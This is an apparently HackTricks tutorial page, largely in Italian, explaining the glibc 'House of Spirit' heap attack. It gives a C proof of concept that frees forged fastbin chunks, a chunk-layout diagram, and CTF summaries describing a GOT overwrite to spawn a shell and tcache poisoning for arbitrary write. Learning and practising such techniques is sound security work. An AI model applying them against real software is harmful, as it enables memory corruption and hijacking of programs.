House of Spirit
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Obiettivo
* Essere in grado di aggiungere in tcache / fast bin un indirizzo in modo che sia possibile allocarlo in seguito
### Requisiti
* Questo attacco richiede che un attaccante sia in grado di creare un paio di chunk fast falsi indicando correttamente il valore della dimensione e poi essere in grado di liberare il primo chunk falso in modo che entri nel bin.
### Attacco
* Creare chunk falsi che bypassano i controlli di sicurezza: avrai bisogno di 2 chunk falsi che indicano fondamentalmente nelle posizioni corrette le dimensioni corrette
* In qualche modo gestire di liberare il primo chunk falso in modo che entri nel fast o tcache bin e poi allocarlo per sovrascrivere quell'indirizzo
**Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **è ottimo per comprendere l'attacco.** Anche se questo schema del codice lo riassume piuttosto bene:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/Nota che è necessario creare il secondo chunk per bypassare alcuni controlli di sanità.
Libc infoleak: Tramite un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di leakare un indirizzo libc tramite l'azione di lettura del CTF.
House of Spirit: Abusando di un contatore che conta il numero di "fucili" è possibile generare una dimensione falsa del primo chunk falso, poi abusando di un "messaggio" è possibile falsificare la seconda dimensione di un chunk e infine abusando di un overflow è possibile cambiare un puntatore che sta per essere liberato in modo che il nostro primo chunk falso venga liberato. Poi, possiamo allocarlo e all'interno ci sarà l'indirizzo dove è memorizzato il "messaggio". Poi, è possibile farlo puntare all'entry scanf all'interno della tabella GOT, così possiamo sovrascriverlo con l'indirizzo di system.
La prossima volta che viene chiamato scanf, possiamo inviare l'input "/bin/sh" e ottenere una shell.
Glibc leak: Buffer di stack non inizializzato.
House of Spirit: Possiamo modificare il primo indice di un array globale di puntatori heap. Con una singola modifica di byte, usiamo free su un chunk falso all'interno di un chunk valido, in modo da ottenere una situazione di chunk sovrapposti dopo aver allocato di nuovo. Con ciò, un semplice attacco di avvelenamento Tcache funziona per ottenere una scrittura arbitraria.
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
